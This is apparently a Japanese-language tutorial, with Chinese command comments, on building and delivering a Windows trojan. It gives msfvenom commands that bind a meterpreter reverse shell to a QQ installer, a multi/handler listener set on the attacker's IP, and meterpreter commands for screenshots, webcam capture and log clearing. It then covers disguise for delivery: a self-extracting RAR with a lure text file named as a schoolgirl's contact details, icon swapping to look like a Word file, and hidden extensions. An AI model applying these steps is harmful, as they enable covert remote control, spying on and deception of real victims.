目次
バンドルされたトロイの木馬
ここではKali Linux仮想マシンを使用しています。
攻撃者のIPは192.168.0.108で、
ターゲットのIPは192.168.177.134 です。
トロイの木馬ファイルを生成する
まず、通常のインストールパッケージをkaliにアップロードします
ここでQQをダウンロード
してroot/dy/パスにアップロードしました
次にバンドルを開始します
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 -f exe -x /root/dy/PCQQ2020.exe -o /root/dy/QQ.exe
-p：次のペイロードを指定します
windows/meterpreter/reverse_tcp：これがWindowsシステムでのリバウンドTCPであることを確認します
LHOST=192.168.0.108,：バウンスされたIP、つまりkali IPアドレスを設定します
ここでは設定しないで、戻りポートを設定することもできます。デフォルトの戻りポートは4444です。
-f：バンドルするファイルタイプを表します。ここにexeファイルがあります
-x：バンドルするファイルのパスとファイル名を指定します。ここでは、root / dy /にあるPCQQ2020.exeを選択します
-o：生成されたトロイの木馬ファイルのパスとファイル名を指定します。ここでは、元のパスに保存します。名前はQQ.exeです。
生成された
添付ファイル：msfvenomの紹介
msfvenomの概要
msfvenomはmsfpayloadとmsfencodeの組み合わせで、msfvenomを使用してトロイの木馬プログラムを生成し、それをターゲットマシンで実行し、meterpreterと連携してローカルで起動を監視できます。
msfvenomの重要なパラメーター：（msfvenom -hを使用してすべてのパラメーターを表示できます）
-p payload设置
-e 编码设置
-a 系统结构，默认x86
-s payload最大大小
-i 编码次数
-f 生成文件格式
msfvenom生成
ペイロードを生成するには、2つの必要なオプションがあります。-pおよび-f
-pを使用して、使用するペイロードを指定します。
./msfvenom –l payloads //查看所有msf可用的payload列表
ペイロードの出力形式を指定するには、-fを使用します
./msfvenom -p windows/meterpreter/bind_tcp -f exe
./msfvenom --help –formats //查看msf支持的输出格式
msfvenomの一般的な使用例は次のとおりです。
$./msfvenom -p windows/meterpreter/reverse_tcplhost=[Attacker IP]lport=4444 -f exe -o /tmp/my_payload.exe
エクスプロイト/マルチ/ハンドラモジュールの概要
msf>use exploit/multi/handler
#使用exploit/multi/handler监听连入的backdoor
msf exploit(handler)>set payload windows/meterpreter/reverse_http
#设置对应的payload。
Msf exploit(handler)>show options
#显示所有的设置如果需要的话，可能还需要将LHOST，LPORT,设置成与payload中相同的地址和端口。
モニターのバウンスを設定する
msfconsole
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 4444
run
トロイの木馬を送信する
次に、トロイの木馬のファイルをターゲットに送信し、ターゲットに信頼させる方法については、送信したファイルをインストールします。それはあなたのソーシャルワーク能力に依存します。
中華人民共和国のサイバーセキュリティ法に準拠する若者として、私はトロイの木馬のファイルを別のWindowsシステムの仮想マシンに送信することを選択しました。
最初にトロイの木馬ファイルを物理マシンに送信し、次にそれを物理マシンから仮想マシンにアップロードします
次に、ダブルクリックしてQQ
kali を実行し、ターゲットマシンに接続します
相手のIPを確認する
ipconfig
相手のディレクトリを見る
dir
スクリーンショット
screenshot
現在のドローンの写真が撮られ、保存されたパスがプロンプトされます
カメラの電源をオン
仮想マシンがカメラを開かなかったため、失敗しました
添付：Meterpreterの一般的に使用されるコマンド
info #查看已有模块信息
getuid #查看权限
getpid #获取当前进程的pid
sysinfo #查看目标机系统信息
ps #查看当前活跃进程
kill <PID值> #杀死进程
reboot / shutdown #重启/关机shell #进入目标机cmd shell
webcam_list #查看摄像头
webcam_snap #通过摄像头拍照
webcam_stream #通过摄像头开启视频
execute #在目标机中执行文件execute -H -i -f
cmd.exe #创建新进程cmd.exe，-H不可见，-i交互
migrate <pid值> #将Meterpreter会话移植到指定pid值进程中
clearav #清除windows中的应用程序日志、系统日志、安全日志
enumdesktops #查看可用的桌面
getdesktop #获取当前meterpreter 关联的桌面
set_desktop #设置meterpreter关联的桌面 -h查看帮助
screenshot #截屏
use espia #或者使用espia模块截屏 然后输入screengrab
run vnc #使用vnc远程桌面连接
権限へのさらなるアクセス
shell
ターゲットホストはあなたのものです
相手が送信したファイルをダウンロードしてインストールしない場合はどうなりますか？
RARには自己解凍機能があります。
これを使用して目標を達成できます
。2つのファイルがあります。1つは生成されたトロイの木馬ファイル、もう1つはtxtファイルで、
すべて選択し、右クリックして圧縮ファイルに追加します。rar圧縮を使用する必要があることに注意してください道
常规里面
女子高生の連絡先情報.txtなど、ファイル名は魅力的である可能性があります。txtはファイルタイプではなく、ファイル名の一部です。ファイルタイプは引き続きexe
圧縮形式RARであり、自己解凍形式の圧縮ファイルを作成することを選択します
高级オプションには、自己解凍オプションがあります。
選択します。
一般：解凍パスを自由に入力します。ここでは、Cドライブのルートディレクトリに配置されます。
設定：解凍前にtxtファイルを実行し、解凍後にQQ.exeファイルを実行します
モード：解凍時にすべての情報を非表示にします
次に確認して確認してから確認します
女子高生の連絡先というファイルを抽出して
送信します
モニターのバウンスも設定します。最初のパートと同じです
msfconsole
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 4444
run
このドキュメントを開くと、txtファイルの内容が表示されますが、QQ.exeも密かに実行されます。
もちろん、実際の状況では、軽量ファイルに変更する必要があります。そうしないと、80 MBを超えるtxtファイルが表示されるかどうかを疑う人がいます。
迷彩
もっと似ているふりをするには？
QQ.exeの例を次に示します
2つのツールを導入する
BeCyIconGrabber、このツールはファイルアイコンを抽出できます。
単語文書のアイコンをここに抽出
Resource Hackerは
、ファイルアイコンを変更し、
そのアイコンをWordドキュメントアイコンに置き換えることができるツールです。
これは、アイコンが変更された後と変更前の違いです。
実行するには管理者権限が必要なため、追加のシールドマークがあります。
他のファイルに変更すると、このような状況を回避できます
もちろん、Microsoftはデフォルトでサフィックスを非表示にするため、通常の状況では、専門家以外はサフィックスを表示するように変更しません。したがって、通常の状況では、攻撃者はサフィックスを見ることができません。以下に示すように：
しかし、サフィックスが攻撃者によって表示された場合はどうなりますか？ファイル名を長く
するふり
をする方法もあり、Windowsはコンテンツの一部のみを表示し、ファイル名の後半部分を非表示にします。次のように：
